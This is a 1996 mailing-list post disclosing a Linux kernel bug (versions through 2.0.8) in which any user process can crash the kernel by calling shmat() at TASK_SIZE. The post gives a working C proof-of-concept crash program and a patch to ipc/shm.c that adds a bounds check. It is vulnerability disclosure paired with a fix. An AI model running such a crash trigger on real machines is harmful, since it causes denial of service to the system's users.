shmat() can crash kernel from user process

Ulrich Kunitz (kunitz@arrow.mai-koeln.com)
Fri, 26 Jul 1996 11:29:53 +0200 (MET DST)


Hi folks,

following programm can crash the Linux kernel:

/* oops.c
*
* Kernels including 2.0.8 with System V IPC compiled in are crashing
* if this programm is called.
* It is tested only at x86 architecture.
*/

#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdlib.h>
#include <stdio.h>
#include <linux/sched.h>

void main(void)
{
int shmid;

if ((shmid = shmget(IPC_PRIVATE, 100 * PAGE_SIZE, 0666)) == -1) {
perror("shmget"); exit(1);
}

/* oops next line */
if ((int)shmat(shmid, (char*)TASK_SIZE, 0) == -1) {
perror("shmat"); exit(1);
}

puts("okidoki");
exit(0);
}

The problem seems to be architecture independent. Following patch should
solve the problem:

diff -uNr linux-2.0.8/ipc/shm.c linux-2.0.8-shmat-patched/ipc/shm.c
--- linux-2.0.8/ipc/shm.c Fri Jul 26 10:52:04 1996
+++ linux-2.0.8-shmat-patched/ipc/shm.c Fri Jul 26 10:53:57 1996
@@ -467,6 +467,7 @@
int err;
unsigned int id;
unsigned long addr;
+ unsigned long len;

if (shmid < 0) {
/* printk("shmat() -> EINVAL because shmid = %d < 0\n",shmid); */
@@ -490,6 +491,12 @@
else
return -EINVAL;
}
+ /*
+ * Check if addr exceeds TASK_SIZE (from do_mmap)
+ */
+ len = PAGE_SIZE*shp->shm_npages;
+ if (addr >= TASK_SIZE || len > TASK_SIZE || addr > TASK_SIZE - len)
+ return -EINVAL;
/*
* If shm segment goes below stack, make sure there is some
* space left for the stack to grow (presently 4 pages).

Ciao, Uli

-- 
  People       Ulrich Kunitz
 Performance   /M/A/I Softwarezentrum Köln -- Triple P          
Partnership    kunitz@mai-koeln.com
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> All in all is all what we all are! <<<<